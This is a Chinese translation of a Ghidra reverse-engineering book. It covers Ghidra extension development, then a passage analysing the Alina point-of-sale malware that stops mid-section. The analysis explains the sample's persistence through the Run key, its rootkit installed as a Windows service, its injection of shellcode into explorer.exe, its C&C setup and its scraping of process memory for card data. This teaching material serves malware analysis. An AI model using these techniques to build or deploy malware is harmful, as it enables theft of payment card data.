让我们查看ghidra_9.1.2_PUBLIC_20200212_SampleTablePlugin.zip中的SampleTablePlugin\lib\SampleTablePlugin-src\ghidra\examples目录下可用的代码。

示例表格提供器的插件部分由SampleTablePlugin.java文件实现,该类从ghidra.app.plugin.ProgramPlugin扩展,使你能够在与当前函数相关的事件发生时更新其内部currentFunction属性,正如在第三章中提到的,Ghidra 调试模式

public class SampleTablePlugin extends ProgramPlugin {
    private SampleTableProvider provider;
    private Function currentF	unction;

由于SampleTableModel.java通过继承ThreadedTableModelStub实现了表格模型,ThreadedTableModelStub允许作为一行的抽象数据类型,这样你就可以定义一个自定义类来存储这些行。在这种情况下,行是其类为FunctionStatsRowObject的对象:

class SampleTableModel extends ThreadedTableModelStub<FunctionStatsRowObject> {
    private SampleTablePlugin plugin;
    SampleTableModel(SampleTablePlugin plugin) {

FunctionStatsRowObject.java类是一个包含行字段的 Java 类:

import ghidra.program.model.address.Address;
import ghidra.program.model.listing.Function;
public class FunctionStatsRowObject {
    private final Function function;
    private final String algorithmName;
    private int score;
    FunctionStatsRowObject(Function function, String algorithmName, int score) {

SampleTableProvider.java类负责在屏幕上绘制表格、填充内容,并定义与之交互时的行为:

public class SampleTableProvider extends ComponentProviderAdapter implements OptionsChangeListener {
    private SampleTablePlugin plugin;
    private JComponent component;
    private GFilterTable<FunctionStatsRowObject> filterTable;
    private SampleTableModel model;
    private List<FunctionAlgorithm> discoveredAlgorithms;
    private GCheckBox[] checkBoxes;
    private GhidraFileChooserPanel fileChooserPanel;
    private boolean resetTableData;
    public SampleTableProvider(SampleTablePlugin plugin) {

FunctionAlgorithm.java类定义了用于检索数据以填充表格的接口:

public interface FunctionAlgorithm extends ExtensionPoint {
    public int score(Function function, TaskMonitor monitor) throws CancelledException;
    public String getName();
}

最后,还有一些类允许你计算示例表格提供器中Score列的值:

  • BasicBlockCount``erFunctionAlgorithm.java

  • FunctionAlgorithm.java

  • ReferenceFunctionAlgorithm.java

  • SizeFunctionAlgorithm.java

例如,SizeFunctionAlgorithm类检索当前函数中包含的地址数量,以确定函数的大小。显然,检索的数据是通过 Ghidra API 调用获得的:

import ghidra.program.model.address.AddressSetView;
import ghidra.program.model.listing.Function;
import ghidra.util.task.TaskMonitor;
public class SizeFunctionAlgorithm implements FunctionAlgorithm {
    @Override
    public String getName() {
        return "Function Size";
    }
    @Override
    public int score(Function function, TaskMonitor monitor) {
        AddressSetView body = function.getBody();
        return (int) body.getNumAddresses();
    }
}

我们将在第三部分扩展 Ghidra中深入探讨各种扩展的特点。

Ghidra 扩展继承

请记住,您可以在 Ghidra 的源代码中搜索您正在扩展的类:github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/src/main/java/ghidra/app/plugin/ProgramPlugin.java。这些类有详细的注释,您还可以通过帮助 | Ghidra API 帮助检查 Ghidra 自动生成的文档。

在本节中,您了解了什么是 Ghidra 扩展、它的内部工作原理以及从用户的角度看它在 Ghidra 中的表现。在下一节中,我们将介绍扩展的骨架。

理解 Ghidra 扩展骨架

ghidra_9.1.2\Extensions\Ghidra Ghidra 扩展文件夹中,还有一个skeleton文件夹,其中包含五个位于ghidra_9.1.2\Extensions\Ghidra\Skeleton\src\main\java\skeleton的骨架源代码,这使我们能够编写任何类型的 Ghidra 扩展。

接下来,我们将通过概述其骨架来讨论不同类型的插件扩展。这些骨架可以从 Eclipse 中获取,我们稍后将在开发 Ghidra 扩展部分使用骨架创建一个扩展。

分析器

分析器使我们能够扩展 Ghidra 的代码分析功能。用于开发分析器的骨架可在SkeletonAnalyzer.java文件中找到,该文件扩展自ghidra.app.services.AbstractAnalyzer

分析器骨架包含以下元素:

  • 一个构造函数,表示分析器的名称、描述和分析器的类型。此外,在调用super之前,可以调用setSupportOneTimeAnalysis,以指示分析器是否支持:

    public SkeletonAnalyzer() {
            super("My Analyzer", "Analyzer description goes here", AnalyzerType.BYTE_ANALYZER);
    }
    

    分析器的类型可以是以下之一:BYTE_ANALYZERDATA_ANALYZERFUNCTION_ANALYZERFUNCTION_MODIFIERS_ANALYZERFUNCTION_SIGNATURES_ANALYZERINSTRUCTION_ANALYZERONE_SHOT_ANALYZER

  • getDefaultEnablement方法返回一个布尔值,指示该分析器是否将始终启用。

  • canAnalyze方法返回 true 表示程序可以被分析。您可以在这里检查,例如,您的分析器是否支持程序的汇编语言。

  • 如果您希望让用户为分析器设置一些选项,则可以重写registerOptions方法。

  • 最后,当程序中添加了内容时,所添加的方法将被调用以执行分析。

    分析器技巧

    如果您的分析器速度不够快,请不要让getDefaultEnablement返回 true,因为这可能会使 Ghidra 变慢。

分析器可以在分析 C++程序以获取面向对象编程信息时非常有用。

文件系统

文件系统允许我们扩展 Ghidra 以支持归档文件。归档文件的示例包括 APK、ZIP、RAR 等。用于开发文件系统的框架可以在SkeletonFileSystem.java文件中找到,它继承自GFileSystem

文件系统框架由以下元素组成:

  • 一个构造函数。它接收文件系统的根目录作为文件系统资源定位符FSRL)和文件系统提供者作为参数。

  • 文件系统的实现是复杂的。它包含以下方法:mountclosegetNamegetFSRLisClosedgetFileCountgetRefManagerlookupgetInputStreamgetListinggetInfogetInfoMap

插件

插件使我们能够通过访问 GUI 和事件通知系统以多种方式扩展 Ghidra。开发插件的框架可以在SkeletonPlugin.java文件中找到,它继承自ghidra.app.plugin.ProgramPlugin

插件框架由以下元素组成:

  • 一个构造函数。它接收父工具作为参数,并允许我们自定义或移除插件的提供者和帮助。

  • 一个init方法,允许我们在需要时获取服务。

  • 它还包括一个扩展自ComponentProvider的提供者示例,使我们能够自定义 GUI 和操作。

    插件提示

    如果你想查看完整的服务列表,请在 Ghidra 的 Java 文档中搜索ghidra.app.services/api/ghidra/app/services/package-summary.html

如你所想,插件扩展非常灵活多样。

导出器

导出器允许我们通过实现导出 Ghidra 程序数据库中部分程序的能力来扩展 Ghidra。开发导出器的框架可以在SkeletonExporter.java文件中找到。

导出器框架由以下元素组成:

  • 一个构造函数。它允许我们设置导出器的名称,并将文件扩展名与之关联。

  • 还提供一个getOptions方法,用于定义自定义选项(如果需要)。

  • 一个setOptions方法,用于为导出器分配自定义选项(如果存在)。

  • 一个export方法,必须实现导出操作,并返回一个布尔值,表示操作是否成功。

一些预装的 Ghidra 导出器示例如下:AsciiExporterBinaryExporterGzfExporterHtmlExporterIntelHexExporterProjectArchiveExporterXmlExporter

加载器

加载器允许我们通过添加对新二进制代码格式的支持来扩展 Ghidra。二进制代码格式的示例包括SkeletonLoader.java文件,它继承自AbstractLibrarySupportLoader

加载器框架由以下元素组成:

  • 一个getName方法,必须重写以返回加载器的名称。

  • 一个 findSupportedLoadSpecs 方法,必须返回一个 ArrayList,如果能够加载文件,则包含文件的规范。如果无法加载,则返回一个空的 ArrayList

  • 一个 load 方法,主要实现部分。它将从提供者加载字节到程序中。

  • 如果加载器有自定义选项,则必须在 getDefaultOptions 方法中定义它们,并在 validateOptions 方法中进行验证。

在本节中,我们讨论了每种类型的 Ghidra 扩展的框架。可以根据需要修改任何框架,以帮助开发。在接下来的章节中,我们将介绍 Ghidra 扩展框架在 Eclipse 中的样子。

开发 Ghidra 扩展

在本节中,我们将介绍如何在 Eclipse 中创建 Ghidra 扩展,然后如何将其导出到 Ghidra:

  1. 首先,要在 Eclipse 中创建一个新的 Ghidra 扩展,点击 GhidraDev | 新建 | Ghidra 模块项目...:图 4.8 – 创建新的 Ghidra 模块项目

    图 4.8 – 创建新的 Ghidra 模块项目

  2. 设置 Ghidra 项目的名称以及项目根目录。在此案例中,我将项目名称设置为 MyExtensions,并将其余参数保持为默认值:图 4.9 – 设置项目名称

    图 4.9 – 设置项目名称

  3. 正如前一节所述,Ghidra 提供了一些模块模板。选择那些对您有用的模板。我们选择了所有模板,因为我们希望拥有所有的 Ghidra 模块框架。点击 下一步 >,而不是 完成,以进行两个额外且有用的步骤:图 4.10 – 选择此 Ghidra 模块项目所需的模块模板

    图 4.10 – 选择此 Ghidra 模块项目所需的模块模板

  4. 将 Ghidra 安装与您的模块项目关联。这是一个重要步骤,因为 Ghidra 模块将为此版本的 Ghidra 生成:图 4.11 – 将 Ghidra 安装与您的模块项目关联

    图 4.11 – 将 Ghidra 安装与您的模块项目关联

  5. 还可以通过点击 启用 Python 并选择 Jython 解释器来启用 Python:图 4.12 – 启用 Python 支持

    图 4.12 – 启用 Python 支持

    可以通过点击 GhidraDev | 链接 Ghidra... 在以后任何时间配置 Ghidra 安装和 Python 支持:

    图 4.13 – 链接 Ghidra 安装并在任何时候启用 Python 支持(如果需要)

    图 4.13 – 链接 Ghidra 安装并在任何时候启用 Python 支持(如果需要)

  6. 使用 Eclipse IDE 开发 Ghidra 扩展:

图 4.14 – 使用 Eclipse IDE 开发 Ghidra 扩展

图 4.14 – 使用 Eclipse IDE 开发 Ghidra 扩展

在开发完 Ghidra 扩展后,你可以使用以下步骤将其导出到 Ghidra:

  1. 进入 文件 | 导出…,选择 Ghidra 模块扩展,然后点击 下一步 > 按钮:图 4.15 – 从 Eclipse 导出 Ghidra 模块扩展

    图 4.15 – 从 Eclipse 导出 Ghidra 模块扩展

  2. 选择你要导出的 Ghidra 模块项目:图 4.16 – 选择要导出的 Ghidra 模块项目

    图 4.16 – 选择要导出的 Ghidra 模块项目

  3. 设置 Gradle 安装目录。如果你按照本章开头的步骤进行操作,它将保存在 GRADLE_HOME 环境变量中:

图 4.17 – 设置 Gradle 安装目录

图 4.17 – 设置 Gradle 安装目录

点击 dist 目录后,你的 Ghidra 模块项目已经生成:

图 4.18 – 导出 Ghidra 扩展项目后的控制台输出

图 4.18 – 导出 Ghidra 扩展项目后的控制台输出

如前所述,生成的扩展仅对在模块项目创建时选择的 Ghidra 版本有效。

摘要

本章中,你学习了如何安装现有的 Ghidra 扩展,以及如何将新的扩展放入 Ghidra 中以便稍后安装。我们分析了一个示例插件 Ghidra 扩展的代码,还分析了各种类型 Ghidra 扩展的开发模板。最后,我们按照步骤在 Eclipse IDE 中创建了一个新的 Ghidra 模块项目,并介绍了如何将新项目导出到 Ghidra。

现在,你已经能够识别有用的扩展并安装它们。你也能够理解代码的工作原理,并在需要时进行修改和调整。当然,你现在也可以编写自己的 Ghidra 扩展,但你将在 第三章扩展 Ghidra 中进一步提高这些技能。

在本书的下一章中,我们将介绍如何使用 Ghidra 进行恶意软件逆向工程,这是一个很好的机会,展示如何利用这些知识解决现实世界的挑战。

问题

  1. Ghidra 扩展与 Ghidra 脚本有什么区别?

  2. 如果你正在分析一个用 C++ 开发的程序(这是一种面向对象的编程语言),什么样的 Ghidra 扩展可以帮助你识别类、方法等?

  3. 正如你所知,Ghidra 扩展可以访问 Ghidra 内部,这非常强大。那么,写一个 Ghidra 扩展总比写一个 Ghidra 脚本更好吗?

进一步阅读

如果你想了解更多本章涉及的主题,可以查看以下书籍和链接:

第二部分:逆向工程

本节旨在介绍如何使用 Ghidra 进行逆向工程。你将学习如何进行二进制分析、逆向恶意软件、审计二进制文件,并自动化重复且耗时的任务。

本节包含以下章节:

  • 第五章使用 Ghidra 逆向恶意软件

  • 第六章脚本化恶意软件分析

  • 第七章使用 Ghidra 无头分析器

  • 第八章审计程序二进制文件

  • 第九章脚本化二进制审计

第五章:第五章:使用 Ghidra 逆向分析恶意软件

在本章中,我们将介绍使用 Ghidra 进行恶意软件的逆向工程。通过使用 Ghidra,您将能够分析包含恶意代码的可执行二进制文件。

本章是一个绝佳的机会,让您将第一章,《Ghidra 入门》和第二章,《使用 Ghidra 脚本自动化逆向工程任务》中的知识应用于实践。为了将这些知识付诸实践,我们将分析 Alina 销售点 (PoS) 恶意软件。该恶意软件基本上通过刮取 PoS 系统的内存来窃取信用卡和借记卡信息。

我们的方法将从设置安全的分析环境开始,然后我们将寻找恶意软件样本中的恶意软件指示符,最后,我们将通过使用 Ghidra 进行深入的恶意软件分析来结束。

在本章中,我们将覆盖以下主要主题:

  • 设置环境

  • 寻找恶意软件指示符

  • 剖析有趣的恶意软件样本部分

技术要求

本章的要求如下:

本章所需的所有代码可以在以下 GitHub 仓库中找到:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter05

请查看以下链接,观看“Code in Action”视频:bit.ly/3ou4OgP

设置环境

在撰写本书时,Ghidra 的公开版本尚不支持二进制文件的调试。这将 Ghidra 的功能范围限制为静态分析,即分析文件时不执行它们。

但当然,Ghidra 的静态分析可以补充您选择的任何现有调试器(例如 x64dbg、WinDbg 和 OllyDbg)所执行的动态分析。这两种分析可以并行进行。

设置恶意软件分析环境是一个广泛的话题,因此我们将介绍使用 Ghidra 进行此目的的基础知识。请记住,设置恶意软件分析环境时的黄金法则是将其与您的计算机和网络隔离。即使您正在进行静态分析,建议还是设置一个隔离的环境,因为无法保证恶意软件不会利用某些 Ghidra 漏洞并最终执行。

CVE-2019-17664 和 CVE-2019-17665 Ghidra 漏洞

我发现 Ghidra 存在两个漏洞,当恶意软件文件名为 cmd.exejansi.dll 时,可能会导致意外执行。在撰写本书时,CVE-2019-17664 仍未修复:github.com/NationalSecurityAgency/ghidra/issues/107

为了分析恶意软件,你可以使用一台物理计算机(通过硬盘备份恢复到干净的状态)或者虚拟机。第一个选项更为现实,但恢复备份时速度较慢且成本更高。

你还需要隔离你的网络。一个好的例子是,在分析过程中勒索软件会加密共享文件夹。

让我们使用一个 VirtualBox 虚拟化环境,设置只读(出于安全原因)共享文件夹,以便从宿主机转移文件到虚拟机,并且不连接互联网,因为静态分析不需要网络连接。

然后,我们按照以下步骤进行:

  1. 通过以下链接下载并安装 VirtualBox:www.virtualbox.org/wiki/Downloads

  2. 创建一个新的 VirtualBox 虚拟机,或者从 Microsoft 下载:aka.ms/windev_VM_virtualbox

  3. 设置一个 VirtualBox 只读共享文件夹,允许你将文件从宿主机转移到虚拟机:www.virtualbox.org/manual/ch04.html#sharedfolders

  4. 将 Ghidra 及其所需的依赖项转移到虚拟机上,安装它,并且还要转移你打算分析的恶意软件。

此外,你还可以转移你自己的一套 Ghidra 脚本和扩展。

寻找恶意软件指示符

正如你可能记得的那样,Ghidra 通过包含零个或多个文件的项目来工作。Alina 恶意软件由两个组件组成:一个 Windows 驱动程序(rt.sys)和一个便携式可执行文件(park.exe)。因此,一个包含这两个组件的压缩 Ghidra 项目(alina_ghidra_project.zip)可以在本书为此创建的相关 GitHub 项目中找到。

如果你想直接获得 Alina 恶意软件样本,而不是 Ghidra 项目,你也可以在 GitHub 项目中找到它(alina_malware_sample.zip),它已被压缩并使用密码 infected 保护。这种共享恶意软件的方式很常见,以避免它被意外感染。

接下来,我们将尝试快速猜测我们正在处理的恶意软件的大致类型。为此,我们将寻找字符串,很多情况下它们可以揭示有用的信息。我们还会检查外部来源,如果恶意软件已经被分析或分类,这些信息可能会很有用。最后,我们将通过查找动态链接库DLL)函数来分析它的功能。

寻找字符串

我们先打开 Ghidra 项目,双击 Ghidra 项目中的 park.exe 文件,然后使用 park.exe 外部分析它,因为它是恶意软件,您的系统可能会被感染。一个好的起点是列出文件中的字符串。我们将去 搜索 | 查找字符串... 开始分析:

图 5.1 – 在 park.exe 中发现的一些有趣的字符串

图 5.1 – 在 park.exe 中发现的一些有趣的字符串

如上图所示,用户 Benson 似乎编译了这个恶意软件。这些信息可能对调查该恶意软件的归属有所帮助。这里有很多可疑的字符串。

例如,很难想象一个合法程序会引用 windefender.exe。此外,SHELLCODE_MUTEX系统服务分派表SSDT)的挂钩引用显然是恶意的。

系统服务分派表

SSDT 是针对 32 位 Windows 操作系统的内核例程的地址数组,或者是针对 64 位 Windows 操作系统的相对偏移数组,用于相同的例程。

对程序字符串的快速概览有时可以揭示它是否为恶意软件,无需进一步分析。简单且强大。

情报信息和外部资源

使用外部资源(如情报工具)调查发现的信息也是很有用的。例如,在下面的截图中,我们通过查找字符串识别出了两个域名,这些域名可以通过 VirusTotal 进一步调查:

图 5.2 – 字符串中找到的两个域名

图 5.2 – 字符串中找到的两个域名

要在 VirusTotal 中分析一个 URL,请访问以下链接,输入域名,然后点击放大镜图标继续:www.virustotal.com/gui/home/url

图 5.3 – 查找要分析的 URL

图 5.3 – 查找要分析的 URL

搜索结果是动态的,可能会随时变化。在这种情况下,这两个域名在 VirusTotal 中均产生了正面结果。结果可以在以下链接查看:www.virustotal.com/gui/url/422f1425108ae35666d2f86f46f9cf565141cf6601c6924534cb7d9a536645bc/detection:

图 5.4 – 字符串中找到的两个域名

图 5.4 – 字符串中找到的两个域名

此外,VirusTotal 还可以提供更多有用的信息,您可以通过浏览页面找到这些信息。例如,它检测到 javaoracle2.ru 域名也被其他可疑文件引用:

图 5.5 – 引用 javaoracle2.ru 的恶意软件威胁

图 5.5 – 引用 javaoracle2.ru 的恶意软件威胁

在分析恶意软件时,建议在开始分析之前先查看公共资源,因为它可以为你提供许多有用的信息,帮助你找到分析的起点。

如何查找恶意软件指示

在寻找恶意软件指示时,不仅要寻找用于恶意目的的字符串,还要注意异常情况。恶意软件通常容易被识别,原因有很多:某些字符串永远不会出现在良性文件中,且代码可能被人为地复杂化。

还可以通过检查文件的导入项来调查其功能。

检查导入函数

由于该二进制文件引用了一些恶意服务器,它必须实现某种网络通信。在这种情况下,通信是通过 HTTP 协议进行的,以下导入函数位于 Ghidra 的 CodeBrowser 符号树窗口中:

图 5.6 – 与 HTTP 通信相关的导入项

图 5.6 – 与 HTTP 通信相关的导入项

查看ADVAPI32.DLL,我们可以识别出名为Reg的函数,这些函数允许我们操作 Windows 注册表,而其他提到ServiceSCManager*的函数则允许我们与 Windows 服务控制管理器交互,从而加载驱动程序:

图 5.7 – 与 Windows 注册表和服务控制管理器相关的导入项

图 5.7 – 与 Windows 注册表和服务控制管理器相关的导入项

KERNEL32.DLL中有很多导入项,因此,它允许我们与命名管道、文件和进程进行交互并执行相关操作:

图 5.8 – HTTP 通信

图 5.8 – HTTP 通信

运行时导入项

记住,运行时导入的库和/或在运行时解析的函数不会列出在符号树中,因此要注意程序的功能可能并没有被完全识别。

通过非常快速的分析,我们已经识别出了很多东西。如果你有经验,你会知道恶意软件的代码模式,从而通过将 API 函数与字符串相匹配,轻松推测恶意软件在给定前面所示信息时会尝试做什么。

剖析有趣的恶意软件样本部分

如前所述,这个恶意软件由两个组件组成:一个可执行文件(park.exe)和一个 Windows 驱动文件(rk.sys)。

当计算机上发现多个恶意文件时,通常其中一个会生成其他恶意文件。由于park.exe可以通过双击执行,而rk.sys必须由另一个组件加载,如 Windows 服务控制管理器或其他驱动程序,我们可以初步假设是park.exe被执行后,将rk.sys写入磁盘。实际上,在我们对导入项的静态分析过程中,我们注意到park.exe具有处理 Windows 服务控制管理器的 API。如以下截图所示,该文件以如下模式开始:4d 5a 90 00。这些起始字节也常用作文件的签名,这些签名也被称为魔术数字或魔术字节。在本例中,签名表明该文件是可执行文件(Portable Executable,适用于 32 位和 64 位 Windows 操作系统中的可执行文件、目标代码、DLL 等文件格式):

图 5.9 – rk.sys 文件概览

图 5.9 – rk.sys 文件概览

通过计算起始地址和结束地址之间的差值,我们获得了文件的大小,即0x51ff,这一值稍后将用于提取嵌入在park.exe中的rk.sys文件。使用 Python 解释器进行这个简单的计算是个不错的主意:

图 5.10 – rk.sys 文件大小

图 5.10 – rk.sys 文件大小

然后,我们打开park.exe,并通过点击4D 5A 90 00模式来查找文件。点击搜索所有以查看所有出现的实例:

图 5.11 – 查找 PE 头部

图 5.11 – 查找 PE 头部

你将看到该头部模式出现两次。第一次对应我们正在分析的文件头部,即park.exe,而第二次则对应嵌入的rk.sys文件:

图 5.12 – 在 park.exe 中发现的 PE 头部

图 5.12 – 在 park.exe 中发现的 PE 头部

如我们现在所知,它从0x004f6850地址开始,且如前面使用 Python 解释器计算得到的那样,大小为0x51FF字节,我们可以通过点击选择 | 字节...,输入要选择的字节长度,从当前地址开始,最后点击选择字节来选择这些字节:

图 5.13 – 在 park.exe 内选择 rk.sys 文件

图 5.13 – 在 park.exe 内选择 rk.sys 文件

通过右键点击选定的字节并选择提取并导入...,也可以使用 Ctrl + Alt + I 快捷键,我们将看到以下界面,其中包含选定字节的数据文件被添加到项目中:

图 5.14 – 数据块作为 *.tmp 文件被添加到项目中

图 5.14 – 数据块作为 *.tmp 文件被添加到项目中

我们识别了所有恶意软件组件。现在,让我们从程序的入口点开始分析这些恶意软件。

入口点函数

让我们分析 park.exe。我们通过 符号树 中的 entry 函数来打开它并进行分析:

图 5.15 – 入口点函数

图 5.15 – 入口点函数

这个函数的反编译结果很容易阅读。__security__init_cookie 是一个由编译器引入的内存损坏保护函数,因此继续分析 __tmainCRTStartup,双击它。这里有很多 Ghidra 已识别的函数,所以我们集中分析唯一一个尚未识别的函数 – thunk_FUN_00455f60

图 5.16 – 未识别的 WinMain 函数

图 5.16 – 未识别的 WinMain 函数

这是程序的主函数。如果你有一定的 C++ 背景,你也会注意到 __wincmdln 初始化了一些全局变量、环境以及进程堆,然后调用了 WinMain 函数。因此,紧跟在 __wincmdln 后面的 thunk_FUN_00455f60 函数就是 WinMain 函数。让我们通过按下 L 键并聚焦在 thunk_FUN_00455f60 上,将 thunk_FUN_00455f60 重命名为 WinMain

图 5.17 – 将 thunk_FUN_00455f60 函数重命名为 WinMain

图 5.17 – 将 thunk_FUN_00455f60 函数重命名为 WinMain

Ghidra 允许你重命名变量和函数,加入注释,并在多个方面修改反汇编和反编译代码。这在逆向工程恶意软件时至关重要:

图 5.18 – 省略了一些无关代码(第 5–19 行)的 WinMain 函数

图 5.18 – 省略了一些无关代码(第 5–19 行)的 WinMain 函数

我们采取这些步骤来确定恶意软件的启动位置,并从头分析其流程,但反编译代码列表中有一些我们不清楚的函数。因此,我们的任务是揭示这些函数的功能,以便理解恶意软件。

请记住,恶意软件分析是一项耗时的任务,因此不要在细节上浪费时间,但也不要忽视任何重要内容。接下来,我们将分析 WinMain 反编译代码中列出的每个函数。我们将从分析第一个函数开始,它位于第 20 行,名为 thunk_FUN_00453340

分析 0x00453340 函数

我们将从分析第一个函数 thunk_FUN_00453340 开始:

图 5.19 – FUN_00453340 函数的部分代码

图 5.19 – FUN_00453340 函数的部分代码

它通过 operator_new 创建一个类,然后调用其构造函数:thunk_FUN_0044d440

在这个函数中,你会看到一些 Windows API 调用。接下来,你可以重命名(按下 L 键)局部变量,使代码更加可读:

图 5.20 – 重命名函数参数 computerName

图 5.20 – 重命名函数参数 computerName

你可以根据微软文档来执行此操作(docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea):

图 5.21 – 在微软文档中查找 API 信息

图 5.21 – 在微软文档中查找 API 信息

实际上,也可以通过点击 编辑函数签名 完全修改一个函数:

图 5.22 – 编辑函数签名

图 5.22 – 编辑函数签名

在这种情况下,这个函数是 strcpy,它将 errorretriving 字符串复制到 computerName 字符串的末尾(当执行到这一行时,computerName 的值为 NULL)。然后,我们可以根据其名称和参数修改签名。

我们还可以修改函数的调用约定。这很重要,因为某些关键细节依赖于调用约定:

  • 参数是如何传递给函数的(通过寄存器或压入栈中)

  • 指定被调用函数或调用函数有责任清理堆栈

请参考下面的截图,查看 thunk_FUN_004721f0 是如何被重命名为 strcpy 的:

图 5.23 – 函数签名编辑器

图 5.23 – 函数签名编辑器

我们还可以在第 105 行设置以下前置注释 – 0x1a = CSIDL_APPDATA

图 5.24 – 设置前置注释

图 5.24 – 设置前置注释

这表明 SHGetFolderPathA 的第二个参数代表 %APPDATA% 目录:

图 5.25 – 反编译代码中的前置注释

图 5.25 – 反编译代码中的前置注释

经过一些分析后,你会注意到这个函数会将恶意软件的一个 RC4 加密副本作为 windefender.exe 保存到 %APPDATA%\ntkrnl\ 目录下。

分析 0x00453C10 函数

有时候,反编译的代码不正确并且不完整,因此也需要检查反汇编列表。在这种情况下,我们处理的是一个表示要删除的文件的字符串列表,但在反编译的代码中并没有显示:

图 5.26 – 显示字符串列表

图 5.26 – 显示字符串列表

该函数通过删除这些文件来清除之前的感染。正如你所看到的,恶意软件尝试使用合法程序的名称来伪装自己。让我们将这个函数重命名为 cleanPreviousInfections,然后继续处理其他函数。

分析 0x0046EA60 函数

该函数创建了一个名为 \\\\.\\pipe\\spark 的管道,这是一个 进程间通信IPC)机制:

图 5.27 – 创建命名管道

图 5.27 – 创建命名管道

进程间通信

IPC 是一种机制,允许进程之间相互通信并同步它们的操作。这些进程之间的通信可以视为它们之间的协作方法。

由于创建了命名管道,我们可以预期看到恶意软件组件之间使用它进行某种通信。

分析 0x0046BEB0 函数

这个函数设置了命令和控制的 URL:

图 5.28 – 命令和控制域名及端点

图 5.28 – 命令和控制域名及端点

分析 0x0046E3A0 函数

通过分析这个函数,我们注意到管道用于某种同步。CreateThread API 函数接收的参数是要作为线程执行的函数和传递给该函数的参数;因此,当线程创建出现时,我们必须分析一个新函数——在这种情况下是 lpStartAddress_00449049

图 5.29 – 每 30 秒保持恶意软件的存在

图 5.29 – 每 30 秒保持恶意软件的存在

有趣的是,一个无限循环每隔 30000 毫秒(30 秒)迭代一次,执行持久化操作。让我们分析一下 thunk_FUN_00454ba0 函数:

图 5.30 – 通过 Run 注册表键实现持久化

图 5.30 – 通过 Run 注册表键实现持久化

它正在打开 Run 注册表键,当 Microsoft Windows 用户会话启动时会执行该键。这通常被恶意软件用来保持感染,因为每次计算机启动时都会执行它。我们将此函数重命名为 persistence

分析 0x004559B0 函数

该函数通过服务控制管理器 API(如 OpenSCManagerAOpenServiceA)处理服务:

图 5.31 – 使用服务控制管理器打开服务

图 5.31 – 使用服务控制管理器打开服务

在重命名后,我们注意到它检查用户是否具有创建服务所必需的管理员权限。如果有,它会删除先前的 rootkit 实例(rootkit 是一种允许我们隐藏系统元素的应用程序:进程、文件等……但在这种情况下是恶意软件元素),将 rootkit 写入磁盘,并最终再次创建一个带有 rootkit 的服务。如您所见,服务被命名为 Windows Host Process,而 rootkit 安装在 %APPDATA%(如果不可用,则为 C:\)并命名为 rk.sys

图 5.32 – 安装 rootkit,但如果存在,则删除先前的 rootkit

图 5.32 – 安装 rootkit,但如果存在,则删除先前的 rootkit

因此,我们将此函数重命名为 installRookit

分析 0x004554E0 函数

它试图打开 explorer.exe 进程,该进程应该是用户的 shell:

图 5.33 – 打开 explorer.exe

图 5.33 – 打开 explorer.exe

如你所见,它创建了一个互斥量,这是一个同步机制,并防止explorer.exe进程被打开两次。互斥量的名称非常有特点,且是硬编码的。我们可以将其用作7YhngylKo09H

在分析恶意软件时,有些代码模式和 API 序列像一本打开的书:

图 5.34 – 将代码注入到 explorer.exe 进程

图 5.34 – 将代码注入到 explorer.exe 进程

在这种情况下,你可以看到以下内容:

  • VirtualAllocEx:为explorer.exe进程分配0x3000字节的内存,0x40标志表示PAGE_EXECUTE_READWRITE(允许在此处写入和执行代码)

  • WriteProcessMemory:将恶意代码写入explorer.exe

  • CreateRemoteThread:在explorer.exe进程中创建一个新线程以执行代码。

我们可以将thunk_FUN_004555b0重命名为injectShellcodeIntoExplorer

我们现在理解了它的参数:

  • 用于注入代码的 explorer 进程处理器

  • 注入代码的指针(也就是 shellcode)

  • 注入代码的大小是0x616字节

    Shellcode

    "shellcode"这个术语最早用于描述目标程序由于漏洞利用而执行的代码,用来打开远程 Shell——即命令行解释器的一个实例——以便攻击者能够利用该 Shell 进一步与受害者的系统进行交互。

通过双击shellcode参数,我们可以看到 shellcode 的字节,但按下D键,我们也可以将其转换为代码:

图 5.35 – 将 shellcode 转换为代码以便用 Ghidra 分析

图 5.35 – 将 shellcode 转换为代码以便用 Ghidra 分析

通过点击一些shellcode字符串,你可以看到按程序使用的相同顺序存储的字符串,因此你可以通过读取这些字符串推断程序的行为:

图 5.36 – 通过读取字符串快速分析代码

图 5.36 – 通过读取字符串快速分析代码

我们有一个加密的恶意软件副本,存储在%APPDATA%\ntkrnl中,这点从之前的分析中得知。它使用密码7YhngylKo09H解密。然后,创建一个windefender.exe解密的恶意软件,并通过ShellExecuteA最终执行。这个过程在一个由互斥量机制控制的无限循环中执行,如最后的字符串SHELLCODE_MUTEX所示。

Mutex

互斥量对象是一种同步对象,其状态可以是非信号或信号的,具体取决于它是否被某个线程拥有。

因此,我们可以将thunk_FUN_004554e0重命名为explorerPersistence

分析 0x0046C860 函数

在使用operator_new初始化类后,调用它的thunk_FUN_0046c2c0构造函数。如你所见,我们有一个线程需要分析:

图 5.37 – 线程创建

图 5.37 – 线程创建

lpStartAddress_00447172函数包含一个无限循环,它调用我们分析过的setupC&C函数,因此我们可以预期会有一些命令与控制C&C)通信。C&C 是控制并接收来自恶意软件样本信息的服务器。它由攻击者管理:

图 5.38 – C&C 通信循环

图 5.38 – C&C 通信循环

让我们点击其中一个函数字符串,看看会发生什么。我们还可以将其变为美化版。点击创建数组…选项,通过选择这些字节并右键单击它来连接空字节:

图 5.39 – 将数据转换为类型和结构

图 5.39 – 将数据转换为类型和结构

它似乎是用于 C&C 通信的 HTTP 参数字符串,因为使用此协议非常常见。最相关的字符串是cardinterval。cardinterval 是什么意思?

图 5.40 – C&C 通信 HTTP 参数

图 5.40 – C&C 通信 HTTP 参数

我们将这个函数重命名为C&Ccommunication,然后继续处理下一个函数。

分析 0x0046A100 函数

再次,我们看到一个thunk_FUN_00464870构造函数调用lpStartAddress_04476db线程函数。让我们将注意力集中在线程函数上:

图 5.41 – 数学函数

图 5.41 – 数学函数

这个函数有点复杂。我们可以看到很多数学运算,由此产生了许多数字数据类型。不要浪费时间!将其重命名为mathAlgorithm,如果需要,稍后再回来处理。

下一个函数遍历进程,并使用__stricmp函数跳过黑名单中的进程,该黑名单包含 Windows 进程和常见应用程序。我们可以推测它在寻找一个非常见应用程序:

图 5.42 – 黑名单进程

图 5.42 – 黑名单进程

通过分析位于FUN_0045c570中的lpStartAddress0047299线程函数,我们注意到它在抓取进程内存,寻找某些东西:

图 5.43 – 读取进程内存

